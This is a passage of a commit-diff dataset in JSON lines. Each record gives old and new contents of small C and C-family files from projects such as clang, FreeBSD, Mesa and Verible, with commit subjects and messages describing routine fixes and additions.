extension to ld to fix test with mingw.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@277334 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"5446062ac8d33adda2927d122e7fe4e7052c2666","old_file":"sys\/pc98\/include\/param.h","new_file":"sys\/pc98\/include\/param.h","old_contents":"\/*-\n * This file is in the public domain.\n *\/\n\/* $FreeBSD$ *\/\n\n#include <i386\/param.h>\n","new_contents":"\/*-\n * Copyright (c) 2005 TAKAHASHI Yoshihiro.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#define MACHINE\t\t\"pc98\"\n\n#include <i386\/param.h>\n","subject":"Switch MACHINE to \"pc98\" on FreeBSD\/pc98. Add copyright.","message":"Switch MACHINE to \"pc98\" on FreeBSD\/pc98.\nAdd copyright.\n\nApproved by:\tFreeBSD\/pc98 development team.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"7cbd4e0a5c84abd6c23672e4e87ecab24b70c00a","old_file":"tests\/test_empty.c","new_file":"tests\/test_empty.c","old_contents":"","new_contents":"\/*\n====================================================================\nCopyright (c) 2008 Ian Blumel.  All rights reserved.\n\nThis software is licensed as described in the file LICENSE, which\nyou should have received as part of this distribution.\n====================================================================\nFile: test_basic.c\n\nProvides a dumping ground for basic tests of fct.\n*\/\n\n#include \"fct.h\"\n\nFCT_BGN()\n{\n}\nFCT_END();\n","subject":"Add missing 'empty' test program.","message":"Add missing 'empty' test program.\n","lang":"C","license":"bsd-3-clause","repos":"imb\/fctx,imb\/fctx,imb\/fctx,imb\/fctx"}
{"commit":"617ff31664d7aaaf391272da30d3ae65d0426df7","old_file":"test\/Analysis\/array-struct.c","new_file":"test\/Analysis\/array-struct.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n\nvoid f6() {\n  char *p;\n  p = __builtin_alloca(10); \n  p[1] = 'a';\n}\n\nstruct s2;\n\nvoid g2(struct s2 *p);\n\nvoid f7() {\n  struct s2 *p = __builtin_alloca(10);\n  g2(p);\n}\n\nvoid f8() {\n  int a[10];\n  a[sizeof(a) - 1] = 1;\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n\nvoid f6() {\n  char *p;\n  p = __builtin_alloca(10); \n  p[1] = 'a';\n}\n\nstruct s2;\n\nvoid g2(struct s2 *p);\n\nvoid f7() {\n  struct s2 *p = __builtin_alloca(10);\n  g2(p);\n}\n\nvoid f8() {\n  int a[10];\n  a[sizeof(a) - 1] = 1;\n}\n\nvoid f9() {\n  struct s a[10];\n}\n","subject":"Add test cast for struct array.","message":"Add test cast for struct array.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59522 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"f49f7674b9ec11b777b0954ea9fa0fe73a7ad4be","old_file":"RobotC\/Headers\/Helper.h","new_file":"RobotC\/Headers\/Helper.h","old_contents":"#ifndef HELPER_H\n#define HELPER_H\n\n\/*Helper function for calculating ABSOLUTE maximum of two floats\n  Will return maximum absolute value (ignores sign) *\/\nfloat helpFindMaxAbsFloat(float a, float b) {\n\tfloat aAbs = abs(a);\n\tfloat bAbs = abs(b);\n\tif (aAbs > bAbs) {\n\t\treturn aAbs;\n\t} else {\n\t\treturn bAbs;\n\t}\n}\n\n\/\/Helper function for calculating ABSOLUTE minimum of two floats\n\/\/Will return minimum absolute value (ignores sign)\nfloat helpFindMinAbsFloat(float a, float b) {\n\tfloat aAbs = abs(a);\n\tfloat bAbs = abs(b);\n\tif (aAbs < bAbs) {\n\t\treturn aAbs;\n\t} else {\n\t\treturn bAbs;\n\t}\n}\n\n\/\/Returns sign of float\nint helpFindSign(float x) {\n\tif (x > 0.0) {\n\t\treturn 1;\n\t} else if (x < 0.0) {\n\t\treturn -1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\nint helpRoundFloat(float x) {\n\tif (x > 0) {\n\t\treturn (int)(x+0.5);\n\t} else {\n\t\treturn (int)(x-0.5);\n\t}\n}\n\n#endif\n","new_contents":"#ifndef HELPER_H\n#define HELPER_H\n\n\/*Helper function for calculating ABSOLUTE maximum of two floats\n  Will return maximum absolute value (ignores sign) *\/\nfloat helpFindMaxAbsFloat(float a, float b) {\n\tfloat aAbs = abs(a);\n\tfloat bAbs = abs(b);\n\tif (aAbs > bAbs) {\n\t\treturn aAbs;\n\t} else {\n\t\treturn bAbs;\n\t}\n}\n\n\/\/Helper function for calculating ABSOLUTE minimum of two floats\n\/\/Will return minimum absolute value (ignores sign)\nfloat helpFindMinAbsFloat(float a, float b) {\n\tfloat aAbs = abs(a);\n\tfloat bAbs = abs(b);\n\tif (aAbs < bAbs) {\n\t\treturn aAbs;\n\t} else {\n\t\treturn bAbs;\n\t}\n}\n\n\/\/Returns sign of int\nint helpFindSign(int x) {\n\tif (x > 0.0) {\n\t\treturn 1;\n\t} else if (x < 0.0) {\n\t\treturn -1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\nint helpRoundFloat(float x) {\n\tif (x > 0) {\n\t\treturn (int)(x+0.5);\n\t} else {\n\t\treturn (int)(x-0.5);\n\t}\n}\n\n#endif\n","subject":"Fix helpFindSign (floats don't have signs....)","message":"Fix helpFindSign (floats don't have signs....)\n","lang":"C","license":"mit","repos":"RMRobotics\/FTC_5421_2014-2015,RMRobotics\/FTC_5421_2014-2015"}
{"commit":"0d06b78d10a5648560158f958973f9e07edd194b","old_file":"swap.c","new_file":"swap.c","old_contents":"#include <stdio.h>\n\n#define SWAP(x, y) {        \\\n        typeof (x) tmp = y; \\\n        y = x;              \\\n        x = tmp;            \\\n    }\n\nint main() {\n    int a = 1;\n    int b = 2;\n    SWAP(a, b);\n    printf(\"a: %d, b: %d\\n\", a, b);\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#define SWAP(x, y) {        \\\n        typeof (x) tmp = y; \\\n        y = x;              \\\n        x = tmp;            \\\n    }\n\nint main() {\n    int a = 1;\n    int b = 2;\n    SWAP(a, b);\n    printf(\"a: %d, b: %d\\n\", a, b);\n\n    float arr[2] = {3.0, 4.0};\n    SWAP(arr[0], arr[1]);\n    printf(\"arr[0]: %f, arr[1]: %f\\n\", arr[0], arr[1]);\n\n    return 0;\n}\n","subject":"Test we work with other, more complex types.","message":"Test we work with other, more complex types.\n","lang":"C","license":"mit","repos":"Wilfred\/comparative_macrology,Wilfred\/comparative_macrology,Wilfred\/comparative_macrology,Wilfred\/comparative_macrology"}
{"commit":"cf45dd1238806c0a9ff74043694f5d276efc7f4a","old_file":"phase-01\/main.c","new_file":"phase-01\/main.c","old_contents":"\/**\n * Phase 01 - Get a Window that works and can be closed.\n *\n * This code won't be structured very well, just trying to get stuff working.\n *\/\n#include <stdlib.h>\n\nint main(int argc, char *argv[])\n{\n  return EXIT_SUCCESS;\n}\n","new_contents":"\/**\n * Phase 01 - Get a Window that works and can be closed.\n *\n * This code won't be structured very well, just trying to get stuff working.\n *\/\n#include <stdlib.h>\n#include <X11\/Xlib.h>\n\nint main(int argc, char *argv[])\n{\n  Display *dpy = XOpenDisplay(NULL);\n\n  if (dpy == NULL) {\n    return EXIT_FAILURE;\n  }\n\n  XCloseDisplay(dpy);\n  dpy = NULL;\n\n  return EXIT_SUCCESS;\n}\n","subject":"Create the display, free it at the end, exit with failure if the display doesn't open","message":"Create the display, free it at the end, exit with failure if the display doesn't open\n","lang":"C","license":"mit","repos":"Faison\/xlib-learning"}
{"commit":"af533b7e864c9a3790abe2095110924cc374af3c","old_file":"DocFormats\/DFTypes.h","new_file":"DocFormats\/DFTypes.h","old_contents":"\/\/ Copyright 2012-2014 UX Productivity Pty Ltd\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef DocFormats_DFTypes_h\n#define DocFormats_DFTypes_h\n\n#ifdef _MSC_VER\n#define ATTRIBUTE_ALIGNED(n)\n#define ATTRIBUTE_FORMAT(archetype,index,first)\n#else\n#define ATTRIBUTE_ALIGNED(n) __attribute__ ((aligned (n)))\n#define ATTRIBUTE_FORMAT(archetype,index,first) __attribute__((format(archetype,index,first)))\n#endif\n\n#include <sys\/types.h>\n#include <stdint.h>\n#include <stdarg.h>\n\n#endif\n","new_contents":"\/\/ Copyright 2012-2014 UX Productivity Pty Ltd\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef DocFormats_DFTypes_h\n#define DocFormats_DFTypes_h\n\n#ifdef _MSC_VER\n#define ATTRIBUTE_ALIGNED(n)\n#define ATTRIBUTE_FORMAT(archetype,index,first)\n#else\n#define ATTRIBUTE_ALIGNED(n) __attribute__ ((aligned (n)))\n#define ATTRIBUTE_FORMAT(archetype,index,first) __attribute__((format(archetype,index,first)))\n#endif\n\n#ifdef WIN32\n#define _CRT_SECURE_NO_WARNINGS\n#endif\n\n#include <sys\/types.h>\n#include <stdint.h>\n#include <stdarg.h>\n\n#endif\n","subject":"Disable warnings about insecure functions","message":"Win32: Disable warnings about insecure functions\n\nSet the _CRT_SECURE_NO_WARNINGS macro so that VC++ doesn't complain\nabout commonly-used functions like open and vsnprintf that it considers\n\"unsafe\". The alternatives it suggests are not available on Unix-based\nplatforms, and they're used extensively throughout the codebase.\n","lang":"C","license":"apache-2.0","repos":"apache\/incubator-corinthia,corinthia\/corinthia-docformats,apache\/incubator-corinthia,apache\/incubator-corinthia,apache\/incubator-corinthia,apache\/incubator-corinthia,corinthia\/corinthia-docformats,apache\/incubator-corinthia,corinthia\/corinthia-docformats,corinthia\/corinthia-docformats,corinthia\/corinthia-docformats,apache\/incubator-corinthia"}
{"commit":"991fa7648b54c6d03bfe0d112a37d17dd2054d52","old_file":"test_utils\/mock_queue.h","new_file":"test_utils\/mock_queue.h","old_contents":"#ifndef TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n#define TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n\n#include \"gmock\/gmock.h\"\n\n#include \"lib\/queue_interface.h\"\n\nnamespace tachyon {\nnamespace testing {\n\n\/\/ Mock class for queues.\ntemplate <class T>\nclass MockQueue : public QueueInterface<T> {\n public:\n  MOCK_METHOD1_T(Enqueue, bool(const T &item));\n  MOCK_METHOD1_T(EnqueueBlocking, bool(const T &item));\n\n  MOCK_METHOD1_T(DequeueNext, bool(T *item));\n  MOCK_METHOD1_T(DequeueNextBlocking, void(T *item));\n\n  MOCK_METHOD0_T(GetOffset, int());\n  MOCK_METHOD0_T(FreeQueue, void());\n};\n\n}  \/\/ namespace testing\n}  \/\/ namespace tachyon\n\n#endif  \/\/ TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n","new_contents":"#ifndef TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n#define TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n\n#include \"gmock\/gmock.h\"\n\n#include \"lib\/queue_interface.h\"\n\nnamespace tachyon {\nnamespace testing {\n\n\/\/ Mock class for queues.\ntemplate <class T>\nclass MockQueue : public QueueInterface<T> {\n public:\n  MOCK_METHOD1_T(Enqueue, bool(const T &item));\n  MOCK_METHOD1_T(EnqueueBlocking, bool(const T &item));\n\n  MOCK_METHOD1_T(DequeueNext, bool(T *item));\n  MOCK_METHOD1_T(DequeueNextBlocking, void(T *item));\n\n  MOCK_CONST_METHOD0_T(GetOffset, int());\n  MOCK_METHOD0_T(FreeQueue, void());\n};\n\n}  \/\/ namespace testing\n}  \/\/ namespace tachyon\n\n#endif  \/\/ TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n","subject":"Fix issue with mock method.","message":"Fix issue with mock method.\n","lang":"C","license":"mit","repos":"djpetti\/gaia,djpetti\/gaia,djpetti\/gaia"}
{"commit":"21ae225c5b7e15ef2ea46608f8cb4d9b8777a9cf","old_file":"test2\/initialisation\/struct\/empty\/init.c","new_file":"test2\/initialisation\/struct\/empty\/init.c","old_contents":"\/\/ RUN: %layout_check %s\n\/\/ RUN: %check %s\n\nstruct A\n{\n}; \/\/ CHEKC: \/warning: empty struct\/\n\nstruct Containter\n{\n\tstruct A a;\n};\n\nstruct Pre\n{\n\tint i;\n\tstruct A a;\n\tint j;\n};\n\nstruct Pre p = { 1, \/* warn *\/ 2 }; \/\/ CHECK: \/warning: missing {} initialiser for empty struct\/\nstruct Pre q = { 1, {}, 2 };\n\nmain()\n{\n\tstruct A a = { 5 }; \/\/ CHECK: \/warning: missing {} initialiser for empty struct\/\n\tstruct A b = {};\n\n\tstruct Containter c = {{}};\n\n\tc.a = (struct A){};\n}\n","new_contents":"\/\/ RUN: %layout_check %s\n\/\/ RUN: %check %s\n\nstruct A\n{\n}; \/\/ CHECK: \/warning: empty struct\/\n\nstruct Container\n{\n\tstruct A a;\n};\n\nstruct Pre\n{\n\tint i;\n\tstruct A a;\n\tint j;\n};\n\nstruct Pre p = { 1, \/* warn *\/ 2 }; \/\/ CHECK: \/warning: missing {} initialiser for empty struct\/\nstruct Pre q = { 1, {}, 2 };\n\nmain()\n{\n\tstruct A a = { 5 }; \/\/ CHECK: \/warning: missing {} initialiser for empty struct\/\n\tstruct A b = {};\n\n\tstruct Container c = {{}};\n\n\tc.a = (struct A){};\n}\n","subject":"Fix typo in empty struct test check","message":"Fix typo in empty struct test check\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"eebb04875392e162a7372d79b8eb2f72d9086d65","old_file":"src\/gallium\/targets\/egl\/pipe_i915.c","new_file":"src\/gallium\/targets\/egl\/pipe_i915.c","old_contents":"","new_contents":"\n#include \"target-helpers\/inline_wrapper_sw_helper.h\"\n#include \"target-helpers\/inline_debug_helper.h\"\n#include \"state_tracker\/drm_driver.h\"\n#include \"i915\/drm\/i915_drm_public.h\"\n#include \"i915\/i915_public.h\"\n\nstatic struct pipe_screen *\ncreate_screen(int fd)\n{\n   struct brw_winsys_screen *bws;\n   struct pipe_screen *screen;\n\n   bws = i915_drm_winsys_screen_create(fd);\n   if (!bws)\n      return NULL;\n\n   screen = i915_screen_create(bws);\n   if (!screen)\n      return NULL;\n\n   screen = debug_screen_wrap(screen);\n\n   return screen;\n}\n\nPUBLIC\nDRM_DRIVER_DESCRIPTOR(\"i915\", \"i915\", create_screen)\n","subject":"Add missing egl pipe file","message":"i915g: Add missing egl pipe file\n","lang":"C","license":"mit","repos":"benaadams\/glsl-optimizer,adobe\/glsl2agal,adobe\/glsl2agal,wolf96\/glsl-optimizer,mapbox\/glsl-optimizer,bkaradzic\/glsl-optimizer,benaadams\/glsl-optimizer,benaadams\/glsl-optimizer,djreep81\/glsl-optimizer,jbarczak\/glsl-optimizer,zeux\/glsl-optimizer,djreep81\/glsl-optimizer,tokyovigilante\/glsl-optimizer,mcanthony\/glsl-optimizer,metora\/MesaGLSLCompiler,jbarczak\/glsl-optimizer,metora\/MesaGLSLCompiler,zz85\/glsl-optimizer,mcanthony\/glsl-optimizer,zeux\/glsl-optimizer,KTXSoftware\/glsl2agal,djreep81\/glsl-optimizer,mapbox\/glsl-optimizer,zz85\/glsl-optimizer,dellis1972\/glsl-optimizer,djreep81\/glsl-optimizer,jbarczak\/glsl-optimizer,mcanthony\/glsl-optimizer,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,adobe\/glsl2agal,zeux\/glsl-optimizer,bkaradzic\/glsl-optimizer,adobe\/glsl2agal,dellis1972\/glsl-optimizer,zz85\/glsl-optimizer,benaadams\/glsl-optimizer,bkaradzic\/glsl-optimizer,mcanthony\/glsl-optimizer,zz85\/glsl-optimizer,tokyovigilante\/glsl-optimizer,wolf96\/glsl-optimizer,benaadams\/glsl-optimizer,tokyovigilante\/glsl-optimizer,dellis1972\/glsl-optimizer,KTXSoftware\/glsl2agal,zeux\/glsl-optimizer,KTXSoftware\/glsl2agal,KTXSoftware\/glsl2agal,adobe\/glsl2agal,metora\/MesaGLSLCompiler,wolf96\/glsl-optimizer,wolf96\/glsl-optimizer,zz85\/glsl-optimizer,benaadams\/glsl-optimizer,bkaradzic\/glsl-optimizer,zz85\/glsl-optimizer,wolf96\/glsl-optimizer,jbarczak\/glsl-optimizer,tokyovigilante\/glsl-optimizer,mapbox\/glsl-optimizer,dellis1972\/glsl-optimizer,bkaradzic\/glsl-optimizer,mapbox\/glsl-optimizer,dellis1972\/glsl-optimizer,mcanthony\/glsl-optimizer,djreep81\/glsl-optimizer,tokyovigilante\/glsl-optimizer,KTXSoftware\/glsl2agal,jbarczak\/glsl-optimizer"}
{"commit":"9e95e999cf87215b33d0b5b203b4a3cd0381a368","old_file":"verilog\/tools\/kythe\/kythe_proto_output.h","new_file":"verilog\/tools\/kythe\/kythe_proto_output.h","old_contents":"\/\/ Copyright 2017-2020 The Verible Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef VERIBLE_VERILOG_TOOLS_KYTHE_KYTHE_PROTO_OUTPUT_H_\n#define VERIBLE_VERILOG_TOOLS_KYTHE_KYTHE_PROTO_OUTPUT_H_\n\n#include \"verilog\/tools\/kythe\/kythe_facts.h\"\n#include \"verilog\/tools\/kythe\/kythe_facts_extractor.h\"\n\nnamespace verilog {\nnamespace kythe {\n\nclass KytheProtoOutput : public KytheOutput {\n public:\n  KytheProtoOutput() = default;\n\n  \/\/ Output all Kythe facts from the indexing data in proto format.\n  void Emit(const KytheIndexingData& indexing_data);\n};\n\n}  \/\/ namespace kythe\n}  \/\/ namespace verilog\n\n#endif  \/\/ VERIBLE_VERILOG_TOOLS_KYTHE_KYTHE_PROTO_OUTPUT_H_\n","new_contents":"\/\/ Copyright 2017-2020 The Verible Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef VERIBLE_VERILOG_TOOLS_KYTHE_KYTHE_PROTO_OUTPUT_H_\n#define VERIBLE_VERILOG_TOOLS_KYTHE_KYTHE_PROTO_OUTPUT_H_\n\n#include \"verilog\/tools\/kythe\/kythe_facts.h\"\n#include \"verilog\/tools\/kythe\/kythe_facts_extractor.h\"\n\nnamespace verilog {\nnamespace kythe {\n\nclass KytheProtoOutput : public KytheOutput {\n public:\n  \/\/ Output all Kythe facts from the indexing data in proto format.\n  void Emit(const KytheIndexingData& indexing_data);\n};\n\n}  \/\/ namespace kythe\n}  \/\/ namespace verilog\n\n#endif  \/\/ VERIBLE_VERILOG_TOOLS_KYTHE_KYTHE_PROTO_OUTPUT_H_\n","subject":"Remove unnecessary default constructor from KytheProtoOutput","message":"[kythe] Remove unnecessary default constructor from KytheProtoOutput\n","lang":"C","license":"apache-2.0","repos":"chipsalliance\/verible,chipsalliance\/verible,chipsalliance\/verible,chipsalliance\/verible,chipsalliance\/verible"}
{"commit":"3a999bf6de5a6c4963f448c5498cd2c9c488d1a0","old_file":"temperature.c","new_file":"temperature.c","old_contents":"\/\/ Copyright 2016, Jeffrey E. Bedard\n#include \"temperature.h\"\n#include \"config.h\"\n#include \"font.h\"\n#include \"util.h\"\n#include <stdio.h>\n#include <string.h>\n\/\/ Returns x offset for next item\nuint16_t draw_temp(xcb_connection_t * xc, const uint16_t offset)\n{\n\tconst uint8_t v\n\t\t= xstatus_system_value(XSTATUS_SYSFILE_TEMPERATURE)\/1000;\n\tuint8_t sz = 4;\n\tchar buf[sz];\n\tconst struct JBDim f = xstatus_get_font_size();\n\tsz = snprintf(buf, sz, \"%dC\", v);\n\txcb_image_text_8(xc, sz, xstatus_get_window(xc),\n\t\txstatus_get_gc(xc), offset + XSTATUS_CONST_WIDE_PAD, f.h, buf);\n\treturn f.w * strlen(buf) + offset + XSTATUS_CONST_WIDE_PAD\n\t\t+ XSTATUS_CONST_PAD;\n}\n","new_contents":"\/\/ Copyright 2016, Jeffrey E. Bedard\n#include \"temperature.h\"\n#include \"config.h\"\n#include \"font.h\"\n#include \"util.h\"\n#include <stdio.h>\nstatic uint16_t get_offset(const uint16_t fw, const uint16_t offset,\n\tconst uint8_t len)\n{\n\treturn fw * len + offset + XSTATUS_CONST_WIDE_PAD\n\t\t+ XSTATUS_CONST_PAD;\n}\n\/\/ Returns x offset for next item\nuint16_t draw_temp(xcb_connection_t * xc, const uint16_t offset)\n{\n\tconst uint8_t v\n\t\t= xstatus_system_value(XSTATUS_SYSFILE_TEMPERATURE)\/1000;\n\tuint8_t sz = 4;\n\tchar buf[sz];\n\tconst struct JBDim f = xstatus_get_font_size();\n\tsz = snprintf(buf, sz, \"%dC\", v);\n\txcb_image_text_8(xc, sz, xstatus_get_window(xc),\n\t\txstatus_get_gc(xc), offset + XSTATUS_CONST_WIDE_PAD, f.h, buf);\n\treturn get_offset(f.w, offset, sz);\n}\n","subject":"Split out get_offset(). Eliminated unnecessary call to strlen().","message":"Split out get_offset().  Eliminated unnecessary call to strlen().\n","lang":"C","license":"mit","repos":"jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus"}
{"commit":"1c0969525f2500603fbb9f2360fbda3439831003","old_file":"thingshub\/CDZThingsHubErrorDomain.h","new_file":"thingshub\/CDZThingsHubErrorDomain.h","old_contents":"\/\/\n\/\/  CDZThingsHubErrorDomain.h\n\/\/  thingshub\n\/\/\n\/\/  Created by Chris Dzombak on 1\/14\/14.\n\/\/  Copyright (c) 2014 Chris Dzombak. All rights reserved.\n\/\/\n\n#import \"CDZThingsHubApplication.h\"\n\nextern NSString * const kThingsHubErrorDomain;\n\ntypedef NS_ENUM(NSInteger, CDZErrorCode) {\n    CDZErrorCodeConfigurationValidationError = CDZThingsHubApplicationReturnCodeConfigError,\n    CDZErrorCodeTestError = -1,\n};\n","new_contents":"\/\/\n\/\/  CDZThingsHubErrorDomain.h\n\/\/  thingshub\n\/\/\n\/\/  Created by Chris Dzombak on 1\/14\/14.\n\/\/  Copyright (c) 2014 Chris Dzombak. All rights reserved.\n\/\/\n\n#import \"CDZThingsHubApplication.h\"\n\nextern NSString * const kThingsHubErrorDomain;\n\ntypedef NS_ENUM(NSInteger, CDZErrorCode) {\n    CDZErrorCodeTestError = 0,\n    CDZErrorCodeAuthError = CDZThingsHubApplicationReturnCodeAuthError,\n    CDZErrorCodeConfigurationValidationError = CDZThingsHubApplicationReturnCodeConfigError,\n    CDZErrorCodeSyncFailure = CDZThingsHubApplicationReturnCodeSyncFailed,\n};\n","subject":"Make error domain constants mirror app return codes","message":"Make error domain constants mirror app return codes","lang":"C","license":"mit","repos":"cdzombak\/thingshub,cdzombak\/thingshub,cdzombak\/thingshub"}
{"commit":"d01500c7ed2b6445d37176a05c911f25a299f38a","old_file":"Pod\/Classes\/Private\/IRLSizePrivate.h","new_file":"Pod\/Classes\/Private\/IRLSizePrivate.h","old_contents":"\/\/\n\/\/  IRLSizePrivate.h\n\/\/  IRLSize\n\/\/\n\/\/  Created by Jeff Kelley on 6\/29\/16.\n\/\/  Copyright © 2016 Detroit Labs. All rights reserved.\n\/\/\n\n#ifndef IRLSizePrivate_h\n#define IRLSizePrivate_h\n\ntypedef float RawLengthMeasurement; \/\/ meters\n\ntypedef struct {\n    RawLengthMeasurement width;\n    RawLengthMeasurement height;\n} RawSize;\n\n#define RAW_SIZE_UNIT [NSUnitLength meters]\n\n#endif \/* IRLSizePrivate_h *\/\n","new_contents":"\/\/\n\/\/  IRLSizePrivate.h\n\/\/  IRLSize\n\/\/\n\/\/  Created by Jeff Kelley on 6\/29\/16.\n\/\/  Copyright © 2016 Detroit Labs. All rights reserved.\n\/\/\n\n#ifndef IRLSizePrivate_h\n#define IRLSizePrivate_h\n\ntypedef float RawLengthMeasurement; \/\/ meters\n\ntypedef struct {\n    RawLengthMeasurement width;\n    RawLengthMeasurement height;\n} RawSize;\n\n#define RAW_SIZE_UNIT NSUnitLength.meters\n\n#endif \/* IRLSizePrivate_h 